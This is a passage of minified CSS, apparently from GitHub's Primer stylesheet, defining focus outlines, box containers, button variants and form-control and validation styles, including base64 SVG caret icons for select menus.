var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:not([class]):focus,a:not([class]):focus-visible,input[type=radio]:focus,input[type=radio]:focus-visible,input[type=checkbox]:focus,input[type=checkbox]:focus-visible{outline-offset:0}.focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}@media(forced-colors: active){*:focus,*:focus-visible{outline:solid 1px transparent}input:not([type=radio],[type=checkbox]):focus,input:not([type=radio],[type=checkbox]):focus-visible,textarea:focus,textarea:focus-visible,select:focus,select:focus-visible{outline-offset:2px}}kbd{display:inline-block;padding:3px 5px;font:11px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;line-height:10px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-subtle);border:solid 1px var(--color-neutral-muted);border-bottom-color:var(--color-neutral-muted);border-radius:6px;box-shadow:inset 0 -1px 0 var(--color-neutral-muted)}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:0}h1{font-size:32px;font-weight:600}h2{font-size:24px;font-weight:600}h3{font-size:20px;font-weight:600}h4{font-size:16px;font-weight:600}h5{font-size:14px;font-weight:600}h6{font-size:12px;font-weight:600}p{margin-top:0;margin-bottom:10px}small{font-size:90%}blockquote{margin:0}ul,ol{padding-left:0;margin-top:0;margin-bottom:0}ol ol,ul ol{list-style-type:lower-roman}ul ul ol,ul ol ol,ol ul ol,ol ol ol{list-style-type:lower-alpha}dd{margin-left:0}tt,code,samp{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}pre{margin-top:0;margin-bottom:0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}.octicon{vertical-align:text-bottom}.octicon{display:inline-block;overflow:visible !important;vertical-align:text-bottom;fill:currentColor}.Box{background-color:var(--color-canvas-default);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-radius:6px}.Box--condensed{line-height:1.25}.Box--condensed .Box-header{padding:8px 16px}.Box--condensed .Box-body{padding:8px 16px}.Box--condensed .Box-footer{padding:8px 16px}.Box--condensed .Box-btn-octicon.btn-octicon{padding:8px 16px;margin:-8px -16px;line-height:1.25}.Box--condensed .Box-row{padding:8px 16px}.Box--spacious .Box-header{padding:24px;line-height:1.25}.Box--spacious .Box-title{font-size:20px}.Box--spacious .Box-body{padding:24px}.Box--spacious .Box-footer{padding:24px}.Box--spacious .Box-btn-octicon.btn-octicon{padding:24px;margin:-24px -24px}.Box--spacious .Box-row{padding:24px}.Box-header{padding:16px;margin:-1px -1px 0;background-color:var(--color-canvas-subtle);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box-title{font-size:14px;font-weight:600}.Box-body{padding:16px;border-bottom:1px solid var(--color-border-default)}.Box-body:last-of-type{margin-bottom:-1px;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row{padding:16px;margin-top:-1px;list-style-type:none;border-top-color:var(--color-border-muted);border-top-style:solid;border-top-width:1px}.Box-row:first-of-type{border-top-left-radius:6px;border-top-right-radius:6px}.Box-row:last-of-type{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row.Box-row--unread,.Box-row.unread{box-shadow:inset 2px 0 0 var(--color-accent-emphasis)}.Box-row.navigation-focus .Box-row--drag-button{color:var(--color-accent-fg);cursor:grab;opacity:100}.Box-row.navigation-focus.is-dragging .Box-row--drag-button{cursor:grabbing}.Box-row.navigation-focus.sortable-chosen{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost .Box-row--drag-hide{opacity:0}.Box-row--focus-gray.navigation-focus{background-color:var(--color-canvas-subtle)}.Box-row--focus-blue.navigation-focus{background-color:var(--color-accent-subtle)}.Box-row--hover-gray:hover{background-color:var(--color-canvas-subtle)}.Box-row--hover-blue:hover{background-color:var(--color-accent-subtle)}@media(min-width: 768px){.Box-row-link{color:var(--color-fg-default);text-decoration:none}.Box-row-link:hover{color:var(--color-accent-fg);text-decoration:none}}.Box-row--drag-button{opacity:0}.Box-footer{padding:16px;margin-top:-1px;border-top-color:var(--color-border-default);border-top-style:solid;border-top-width:1px;border-radius:0 0 6px 6px}.Box--scrollable{max-height:324px;overflow:scroll}.Box--blue{border-color:var(--color-accent-muted)}.Box--blue .Box-header{background-color:var(--color-accent-subtle);border-color:var(--color-accent-muted)}.Box--blue .Box-body{border-color:var(--color-accent-muted)}.Box--blue .Box-row{border-color:var(--color-accent-muted)}.Box--blue .Box-footer{border-color:var(--color-accent-muted)}.Box--danger{border-color:var(--color-danger-emphasis)}.Box--danger .Box-row:first-of-type{border-color:var(--color-danger-emphasis)}.Box--danger .Box-body:last-of-type{border-color:var(--color-danger-emphasis)}.Box-header--blue{background-color:var(--color-accent-subtle);border-color:var(--color-accent-muted)}.Box-row--yellow{background-color:var(--color-attention-subtle)}.Box-row--blue{background-color:var(--color-accent-subtle)}.Box-row--gray{background-color:var(--color-canvas-subtle)}.Box-btn-octicon.btn-octicon{padding:16px 16px;margin:-16px -16px;line-height:1.5}.Box--overlay{width:448px;margin-right:auto;margin-left:auto;background-color:var(--color-canvas-default);background-clip:padding-box;border-color:var(--color-border-default);box-shadow:0 0 18px rgba(0,0,0,.4)}.Box--overlay .Box-header{margin:0;border-width:0;border-bottom-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box-overlay--narrow{width:320px}.Box-overlay--wide{width:640px}.Box-body.scrollable-overlay{max-height:400px;overflow-y:scroll}.Box-body .help{padding-top:8px;margin:0;color:var(--color-fg-muted);text-align:center}.breadcrumb-item{display:inline-block;margin-left:-0.35em;white-space:nowrap;list-style:none}.breadcrumb-item::after{display:inline-block;height:.8em;margin:0 .5em;content:"";border-right:.1em solid var(--color-fg-muted);transform:rotate(15deg)}.breadcrumb-item:first-child{margin-left:0}.breadcrumb-item-selected::after,.breadcrumb-item[aria-current]:not([aria-current=false])::after{content:none}.breadcrumb-item-selected a{color:var(--color-fg-default)}.btn{position:relative;display:inline-block;padding:5px 16px;font-size:14px;font-weight:500;line-height:20px;white-space:nowrap;vertical-align:middle;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid;border-radius:6px;-webkit-appearance:none;appearance:none}.btn:hover{text-decoration:none}.btn:disabled,.btn.disabled,.btn[aria-disabled=true]{cursor:default}.btn i{font-style:normal;font-weight:500;opacity:.75}.btn .octicon{margin-right:4px;color:var(--color-fg-muted);vertical-align:text-bottom}.btn .octicon:only-child{margin-right:0}.btn .Counter{margin-left:2px;color:inherit;text-shadow:none;vertical-align:top;background-color:var(--color-btn-counter-bg)}.btn .dropdown-caret{margin-left:4px;opacity:.8}.btn{color:var(--color-btn-text);background-color:var(--color-btn-bg);border-color:var(--color-btn-border);box-shadow:var(--color-btn-shadow),var(--color-btn-inset-shadow);transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.btn:hover,.btn.hover,[open]>.btn{background-color:var(--color-btn-hover-bg);border-color:var(--color-btn-hover-border);transition-duration:.1s}.btn:active{background-color:var(--color-btn-active-bg);border-color:var(--color-btn-active-border);transition:none}.btn.selected,.btn[aria-selected=true]{background-color:var(--color-btn-selected-bg);box-shadow:var(--color-primer-shadow-inset)}.btn:disabled,.btn.disabled,.btn[aria-disabled=true]{color:var(--color-primer-fg-disabled);background-color:var(--color-btn-bg);border-color:var(--color-btn-border)}.btn:disabled .octicon,.btn.disabled .octicon,.btn[aria-disabled=true] .octicon{color:var(--color-primer-fg-disabled)}.btn-primary{color:var(--color-btn-primary-text);background-color:var(--color-btn-primary-bg);border-color:var(--color-btn-primary-border);box-shadow:var(--color-btn-primary-shadow),var(--color-btn-primary-inset-shadow)}.btn-primary:hover,.btn-primary.hover,[open]>.btn-primary{background-color:var(--color-btn-primary-hover-bg);border-color:var(--color-btn-primary-hover-border)}.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-primary:active,.btn-primary.selected,.btn-primary[aria-selected=true]{background-color:var(--color-btn-primary-selected-bg);box-shadow:var(--color-btn-primary-selected-shadow)}.btn-primary:disabled,.btn-primary.disabled,.btn-primary[aria-disabled=true]{color:var(--color-btn-primary-disabled-text);background-color:var(--color-btn-primary-disabled-bg);border-color:var(--color-btn-primary-disabled-border)}.btn-primary:disabled .octicon,.btn-primary.disabled .octicon,.btn-primary[aria-disabled=true] .octicon{color:var(--color-btn-primary-disabled-text)}.btn-primary .Counter{color:inherit;background-color:var(--color-btn-primary-counter-bg)}.btn-primary .octicon{color:var(--color-btn-primary-icon)}a.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}a.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}a.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline{color:var(--color-btn-outline-text)}.btn-outline:hover,[open]>.btn-outline{color:var(--color-btn-outline-hover-text);background-color:var(--color-btn-outline-hover-bg);border-color:var(--color-btn-outline-hover-border);box-shadow:var(--color-btn-outline-hover-shadow),var(--color-btn-outline-hover-inset-shadow)}.btn-outline:hover .Counter,[open]>.btn-outline .Counter{background-color:var(--color-btn-outline-hover-counter-bg)}.btn-outline:hover .octicon,[open]>.btn-outline .octicon{color:inherit}.btn-outline:active,.btn-outline.selected,.btn-outline[aria-selected=true]{color:var(--color-btn-outline-selected-text);background-color:var(--color-btn-outline-selected-bg);border-color:var(--color-btn-outline-selected-border);box-shadow:var(--color-btn-outline-selected-shadow)}.btn-outline:active:focus,.btn-outline.selected:focus,.btn-outline[aria-selected=true]:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline:active:focus:not(:focus-visible),.btn-outline.selected:focus:not(:focus-visible),.btn-outline[aria-selected=true]:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.btn-outline:active:focus-visible,.btn-outline.selected:focus-visible,.btn-outline[aria-selected=true]:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline:disabled,.btn-outline.disabled,.btn-outline[aria-disabled=true]{color:var(--color-btn-outline-disabled-text);background-color:var(--color-btn-outline-disabled-bg);border-color:var(--color-btn-border);box-shadow:none}.btn-outline:disabled .Counter,.btn-outline.disabled .Counter,.btn-outline[aria-disabled=true] .Counter{background-color:var(--color-btn-outline-disabled-counter-bg)}.btn-outline .Counter{color:inherit;background-color:var(--color-btn-outline-counter-bg)}.btn-danger{color:var(--color-btn-danger-text)}.btn-danger .octicon{color:var(--color-btn-danger-icon)}.btn-danger:hover,[open]>.btn-danger{color:var(--color-btn-danger-hover-text);background-color:var(--color-btn-danger-hover-bg);border-color:var(--color-btn-danger-hover-border);box-shadow:var(--color-btn-danger-hover-shadow),var(--color-btn-danger-hover-inset-shadow)}.btn-danger:hover .Counter,[open]>.btn-danger .Counter{background-color:var(--color-btn-danger-hover-counter-bg)}.btn-danger:hover .octicon,[open]>.btn-danger .octicon{color:var(--color-btn-danger-hover-icon)}.btn-danger:active,.btn-danger.selected,.btn-danger[aria-selected=true]{color:var(--color-btn-danger-selected-text);background-color:var(--color-btn-danger-selected-bg);border-color:var(--color-btn-danger-selected-border);box-shadow:var(--color-btn-danger-selected-shadow)}.btn-danger:disabled,.btn-danger.disabled,.btn-danger[aria-disabled=true]{color:var(--color-btn-danger-disabled-text);background-color:var(--color-btn-danger-disabled-bg);border-color:var(--color-btn-border);box-shadow:none}.btn-danger:disabled .Counter,.btn-danger.disabled .Counter,.btn-danger[aria-disabled=true] .Counter{background-color:var(--color-btn-danger-disabled-counter-bg)}.btn-danger:disabled .octicon,.btn-danger.disabled .octicon,.btn-danger[aria-disabled=true] .octicon{color:var(--color-btn-danger-disabled-text)}.btn-danger .Counter{color:inherit;background-color:var(--color-btn-danger-counter-bg)}.btn-sm{padding:3px 12px;font-size:12px;line-height:20px}.btn-sm .octicon{vertical-align:text-top}.btn-large{padding:.75em 1.5em;font-size:inherit;line-height:1.5;border-radius:.5em}.btn-block{display:block;width:100%;text-align:center}.BtnGroup{display:inline-block;vertical-align:middle}.BtnGroup::before{display:table;content:""}.BtnGroup::after{display:table;clear:both;content:""}.BtnGroup+.BtnGroup,.BtnGroup+.btn{margin-left:4px}.BtnGroup-item{position:relative;float:left;border-right-width:0;border-radius:0}.BtnGroup-item:first-child{border-top-left-radius:6px;border-bottom-left-radius:6px}.BtnGroup-item:last-child{border-right-width:1px;border-top-right-radius:6px;border-bottom-right-radius:6px}.BtnGroup-item.selected,.BtnGroup-item[aria-selected=true],.BtnGroup-item:focus,.BtnGroup-item:active,.BtnGroup-item:hover{border-right-width:1px}.BtnGroup-item.selected+.BtnGroup-item,.BtnGroup-item.selected+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item[aria-selected=true]+.BtnGroup-item,.BtnGroup-item[aria-selected=true]+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:focus+.BtnGroup-item,.BtnGroup-item:focus+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:active+.BtnGroup-item,.BtnGroup-item:active+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:hover+.BtnGroup-item,.BtnGroup-item:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:0}.BtnGroup-parent{float:left}.BtnGroup-parent:first-child .BtnGroup-item{border-top-left-radius:6px;border-bottom-left-radius:6px}.BtnGroup-parent:last-child .BtnGroup-item{border-right-width:1px;border-top-right-radius:6px;border-bottom-right-radius:6px}.BtnGroup-parent .BtnGroup-item{border-right-width:0;border-radius:0}.BtnGroup-parent.selected .BtnGroup-item,.BtnGroup-parent[aria-selected=true] .BtnGroup-item,.BtnGroup-parent:focus .BtnGroup-item,.BtnGroup-parent:active .BtnGroup-item,.BtnGroup-parent:hover .BtnGroup-item{border-right-width:1px}.BtnGroup-parent.selected+.BtnGroup-item,.BtnGroup-parent.selected+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent[aria-selected=true]+.BtnGroup-item,.BtnGroup-parent[aria-selected=true]+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:focus+.BtnGroup-item,.BtnGroup-parent:focus+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:active+.BtnGroup-item,.BtnGroup-parent:active+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:hover+.BtnGroup-item,.BtnGroup-parent:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:0}.BtnGroup-item:focus,.BtnGroup-item:active,.BtnGroup-parent:focus,.BtnGroup-parent:active{z-index:1}.btn-link{display:inline-block;padding:0;font-size:inherit;color:var(--color-accent-fg);text-decoration:none;white-space:nowrap;cursor:pointer;-webkit-user-select:none;user-select:none;background-color:transparent;border:0;-webkit-appearance:none;appearance:none}.btn-link:hover{text-decoration:underline}.btn-link:disabled,.btn-link:disabled:hover,.btn-link[aria-disabled=true],.btn-link[aria-disabled=true]:hover{color:var(--color-primer-fg-disabled);cursor:default}.btn-link:not(.dropdown-item):focus,.btn-link:not(.dropdown-item):focus-visible{border-radius:6px;outline-offset:0}.btn-invisible{color:var(--color-accent-fg);background-color:transparent;border:0;border-radius:6px;box-shadow:none}.btn-invisible:hover,.btn-invisible.zeroclipboard-is-hover{color:var(--color-accent-fg);background-color:var(--color-btn-hover-bg);outline:none;box-shadow:none}.btn-invisible:active,.btn-invisible.selected,.btn-invisible[aria-selected=true],.btn-invisible.zeroclipboard-is-active{color:var(--color-accent-fg);background:none;border-color:var(--color-btn-active-border);outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.btn-invisible:active .btn-invisible.zeroclipboard-is-active{background-color:var(--color-btn-selected-bg)}.btn-invisible:disabled,.btn-invisible.disabled,.btn-invisible[aria-disabled=true]{color:var(--color-primer-fg-disabled);background-color:transparent}.btn-octicon{display:inline-block;padding:5px;margin-left:5px;line-height:1;color:var(--color-fg-muted);vertical-align:middle;background:transparent;border:0;box-shadow:none}.btn-octicon:hover{color:var(--color-accent-fg)}.btn-octicon:focus,.btn-octicon:focus-visible{border-radius:6px}.btn-octicon.disabled,.btn-octicon[aria-disabled=true]{color:var(--color-primer-fg-disabled);cursor:default}.btn-octicon.disabled:hover,.btn-octicon[aria-disabled=true]:hover{color:var(--color-primer-fg-disabled)}.btn-octicon-danger:hover{color:var(--color-danger-fg)}.close-button{padding:0;color:var(--color-fg-muted);background:transparent;border:0}.close-button:hover{color:var(--color-fg-default)}.close-button:active{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.hidden-text-expander{display:block}.hidden-text-expander.inline{position:relative;top:-1px;display:inline-block;margin-left:5px;line-height:0}.hidden-text-expander a,.ellipsis-expander{display:inline-block;height:12px;padding:0 5px 5px;font-size:12px;font-weight:600;line-height:6px;color:var(--color-fg-default);text-decoration:none;vertical-align:middle;background:var(--color-neutral-muted);border:0;border-radius:1px}.hidden-text-expander a:hover,.ellipsis-expander:hover{text-decoration:none;background-color:var(--color-accent-muted)}.hidden-text-expander a:active,.ellipsis-expander:active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.btn-with-count{float:left;border-top-right-radius:0;border-bottom-right-radius:0}.btn-with-count:focus{z-index:1}.social-count{position:relative;float:left;padding:3px 12px;font-size:12px;font-weight:600;line-height:20px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-default);border:1px solid var(--color-btn-border);border-left:0;border-top-right-radius:6px;border-bottom-right-radius:6px;box-shadow:var(--color-shadow-small),var(--color-primer-shadow-highlight)}.social-count:hover,.social-count:active{text-decoration:none}.social-count:hover{color:var(--color-accent-fg);cursor:pointer}.TableObject{display:table}.TableObject-item{display:table-cell;width:1%;white-space:nowrap;vertical-align:middle}.TableObject-item--primary{width:99%}fieldset{padding:0;margin:0;border:0}label{font-weight:600}.form-control,.form-select{padding:5px 12px;font-size:14px;line-height:20px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-default);background-repeat:no-repeat;background-position:right 8px center;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-primer-shadow-inset);transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.form-control:focus,.form-select:focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.form-control:focus:not(:focus-visible),.form-select:focus:not(:focus-visible){border-color:transparent;border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px transparent}.form-control:focus-visible,.form-select:focus-visible{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.form-control.border-0:focus,.form-control.border-0:focus-visible,.form-select.border-0:focus,.form-select.border-0:focus-visible{border:1px solid var(--color-accent-fg) !important}.form-control[disabled],.form-select[disabled]{color:var(--color-primer-fg-disabled);background-color:var(--color-input-disabled-bg);border-color:var(--color-border-default);-webkit-text-fill-color:var(--color-primer-fg-disabled);opacity:1}.form-control[disabled]::placeholder,.form-select[disabled]::placeholder{color:var(--color-primer-fg-disabled)}@supports(-webkit-touch-callout: none){.form-control,.form-select{font-size:16px}@media(min-width: 768px){.form-control,.form-select{font-size:14px}}}textarea.form-control{padding-top:8px;padding-bottom:8px;line-height:1.5}.input-contrast{background-color:var(--color-canvas-inset)}.input-contrast:focus{background-color:var(--color-canvas-default)}::placeholder{color:var(--color-fg-subtle);opacity:1}.input-sm{min-height:28px;padding-top:3px;padding-bottom:3px;font-size:12px;line-height:20px}.input-lg{font-size:16px}.input-block{display:block;width:100%}.input-monospace{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.input-hide-webkit-autofill::-webkit-contacts-auto-fill-button{position:absolute;right:0;display:none !important;pointer-events:none;visibility:hidden}.form-checkbox{padding-left:20px;margin:15px 0;vertical-align:middle}.form-checkbox label em.highlight{position:relative;left:-4px;padding:2px 4px;font-style:normal;background:var(--color-attention-subtle);border-radius:6px}.form-checkbox input[type=checkbox],.form-checkbox input[type=radio]{float:left;margin:5px 0 0 -20px;vertical-align:middle}.form-checkbox .note{display:block;margin:0;font-size:12px;font-weight:400;color:var(--color-fg-muted)}.form-checkbox-details{display:none}.form-checkbox-details-trigger:checked~* .form-checkbox-details,.form-checkbox-details-trigger:checked~.form-checkbox-details{display:block}.hfields{margin:15px 0}.hfields::before{display:table;content:""}.hfields::after{display:table;clear:both;content:""}.hfields .form-group{float:left;margin:0 30px 0 0}.hfields .form-group dt label,.hfields .form-group .form-group-header label{display:inline-block;margin:5px 0 0;color:var(--color-fg-muted)}.hfields .form-group dt img,.hfields .form-group .form-group-header img{position:relative;top:-2px}.hfields .btn{float:left;margin:28px 25px 0 -20px}.hfields .form-select{margin-top:5px}input::-webkit-outer-spin-button,input::-webkit-inner-spin-button{margin:0;-webkit-appearance:none;appearance:none}.form-actions::before{display:table;content:""}.form-actions::after{display:table;clear:both;content:""}.form-actions .btn{float:right}.form-actions .btn+.btn{margin-right:5px}.form-warning{padding:8px 10px;margin:10px 0;font-size:14px;color:var(--color-attention-fg);background:var(--color-attention-subtle);border:1px solid var(--color-attention-emphasis);border-radius:6px}.form-warning p{margin:0;line-height:1.5}.form-warning a{font-weight:600}.form-select{display:inline-block;max-width:100%;height:32px;padding-right:24px;background-color:var(--color-canvas-default);background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzU4NjA2OSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=");background-repeat:no-repeat;background-position:right 4px center;background-size:16px;-webkit-appearance:none;appearance:none}.form-select::-ms-expand{opacity:0}.form-select[multiple]{height:auto}[data-color-mode=light][data-light-theme*=dark] .form-select,[data-color-mode=dark][data-dark-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}}.select-sm{height:28px;padding-top:3px;padding-bottom:3px;font-size:12px}.select-sm[multiple]{height:auto;min-height:0}.form-group{margin:15px 0}.form-group .form-control.autocomplete-embedded-icon-wrap:focus-within{background-color:var(--color-canvas-default)}.form-group .form-control{width:440px;max-width:100%;margin-right:5px;background-color:var(--color-canvas-inset)}.form-group .form-control:focus{background-color:var(--color-canvas-default)}.form-group .form-control.shorter{width:130px}.form-group .form-control.short{width:250px}.form-group .form-control.input-block,.form-group .form-control.long{width:100%}.form-group textarea.form-control{width:100%;height:200px;min-height:200px}.form-group textarea.form-control.short{height:50px;min-height:50px}.form-group dt,.form-group .form-group-header{margin:0 0 6px}.form-group label{position:relative}.form-group.flattened dt,.form-group.flattened .form-group-header{float:left;margin:0;line-height:32px}.form-group.flattened dd,.form-group.flattened .form-group-body{line-height:32px}.form-group dd h4,.form-group .form-group-body h4{margin:4px 0 0}.form-group dd h4.is-error,.form-group .form-group-body h4.is-error{color:var(--color-danger-fg)}.form-group dd h4.is-success,.form-group .form-group-body h4.is-success{color:var(--color-success-fg)}.form-group dd h4+.note,.form-group .form-group-body h4+.note{margin-top:0}.form-group.required dt label::after,.form-group.required .form-group-header label::after{padding-left:5px;color:var(--color-danger-fg);content:"*"}.form-group .success,.form-group .error,.form-group .indicator{display:none;font-size:12px;font-weight:600}.form-group.loading{opacity:.5}.form-group.loading .indicator{display:inline}.form-group.loading .spinner{display:inline-block;vertical-align:middle}.form-group.successful .success{display:inline;color:var(--color-success-fg)}.form-group.successed .success,.form-group.successed .warning,.form-group.successed .error,.form-group.warn .success,.form-group.warn .warning,.form-group.warn .error,.form-group.errored .success,.form-group.errored .warning,.form-group.errored .error{position:absolute;z-index:10;display:block;max-width:450px;padding:4px 8px;margin:8px 0 0;font-size:12px;font-weight:400;border-style:solid;border-width:1px;border-radius:6px}.form-group.successed .success::after,.form-group.successed .success::before,.form-group.successed .warning::after,.form-group.successed .warning::before,.form-group.successed .error::after,.form-group.successed .error::before,.form-group.warn .success::after,.form-group.warn .success::before,.form-group.warn .warning::after,.form-group.warn .warning::before,.form-group.warn .error::after,.form-group.warn .error::before,.form-group.errored .success::after,.form-group.errored .success::before,.form-group.errored .warning::after,.form-group.errored .warning::before,.form-group.errored .error::after,.form-group.errored .error::before{position:absolute;bottom:100%;left:10px;z-index:15;width:0;height:0;pointer-events:none;content:" ";border:solid transparent}.form-group.successed .success::after,.form-group.successed .warning::after,.form-group.successed .error::after,.form-group.warn .success::after,.form-group.warn .warning::after,.form-group.warn .error::after,.form-group.errored .success::after,.form-group.errored .warning::after,.form-group.errored .error::after{border-width:5px}.form-group.successed .success::before,.form-group.successed .warning::before,.form-group.successed .error::before,.form-group.warn .success::before,.form-group.warn .warning::before,.form-group.warn .error::before,.form-group.errored .success::before,.form-group.errored .warning::before,.form-group.errored .error::before{margin-left:-1px;border-width:6px}.form-group.successed .success{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle));border-color:var(--color-success-muted)}.form-group.successed .success::after{border-bottom-color:var(--color-success-subtle)}.form-group.successed .success::before{border-bottom-color:var(--color-success-muted)}.form-group.warn .form-control:not(:focus,:focus-visible){border-color:var(--color-attention-emphasis)}.form-group.warn .warning{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle));border-color:var(--color-attention-muted)}.form-group.warn .warning::after{border-bottom-color:var(--color-attention-subtle)}.form-group.warn .warning::before{border-bottom-color:var(--color-attention-muted)}.form-group.errored .form-control:not(:focus,:focus-visible){border-color:var(--color-danger-emphasis)}.form-group.errored label{color:var(--color-danger-fg)}.form-group.errored 